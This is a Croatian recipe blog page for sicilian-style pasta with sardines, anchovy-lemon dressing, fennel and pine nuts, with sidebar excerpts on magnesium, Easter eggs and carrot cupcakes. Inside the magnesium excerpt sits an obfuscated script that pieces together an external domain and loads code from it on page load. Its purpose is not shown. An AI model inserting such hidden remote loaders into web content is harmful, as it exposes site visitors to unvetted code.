TJESTENINA SA SRDELAMA





Tjestenina sa srdelama 



Ova verzija posuđuje elemente klasika i pretvara ga u recept koji je ukusan topao, na sobnoj temperaturi ili čak hladan


Pasta con le sarde tradicionalno je sicilijansko jelo od tjestenine koje se radi sa srdelama i inćunima. Ova verzija posuđuje elemente klasika i pretvara ga u recept koji je ukusan topao, na sobnoj temperaturi ili čak hladan. 




Tjestenina sa srdelama 


Sastojci:

  • 340 g tjestenine po izboru


  • 1/2 šalice grožđica, po mogućnosti zlatnih


  • 2 konzerve (od cca 120 g) srdela u maslinovom ulju


  • 2 žličice limunove korice plus 1/4 šalice svježeg soka (od 2 limuna)


  • 4 fileta inćuna, nasjeckana


  • 1 češanj češnjaka, nariban (oko 1/2 žličice)


  • 1 šalica tanko narezane svježe lukovice komorača plus 1/4 šalice nasjeckanog lišća (od 1 lukovice)


  • 1 šalica baby kelja


  • 1/3 šalice pinjola, tostiranih


  • 1/2 žličice košer soli, plus još za kuhanje tjestenine


  • Tucana crvena paprika, za posluživanje (opcionalno)




Priprema:

  1. Zakuhajte veliki lonac posoljene vode. Kuhajte tjesteninu prema uputama na pakiranju da bude al dente, umiješavši grožđice u zadnjoj minuti kuhanja. Ocijedite tjesteninu i grožđice; stavite sa strane, povremeno miješajući, da se potpuno ohlade i ocijede, oko 5 minuta.


  2. U međuvremenu, ocijedite srdele, čuvajući filete i ulje u zasebnim posudama. Stavite limunovu koricu, limunov sok, inćune i češnjak u blender. Blendajte dok ne postane glatko, oko 10 sekundi. Dok blender radi, dodajte ulje od srdela u sporom, stalnom mlazu dok smjesa ne postane blijeda, glatka i kremasta, oko 30 sekundi. (Alternativno, stavite sastojke u visoku mjernu posudu i izblendajte štapnim mikserom.)


  3. Prebacite tjesteninu i grožđice u veliku zdjelu. Dok je tjestenina još topla, dodajte dresing i promiješajte da se sve obloži. Ubacite narezani komorač, lišće komorača, kelj, pinjole i sol. Nježno usitnite sačuvane srdele na velike komade i pažljivo ih umiješajte u tjesteninu. Poslužite toplo ili na sobnoj temperaturi, posuto tucanom crvenom paprikom po želji.


Ostatke čuvajte u hermetički zatvorenoj posudi u hladnjaku do 2 dana. Nema potrebe podgrijavati jelo jer je odlično i kao salata, ali možda ćete ga trebati pokapati s malo ekstra maslinovog ulja prije jela.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više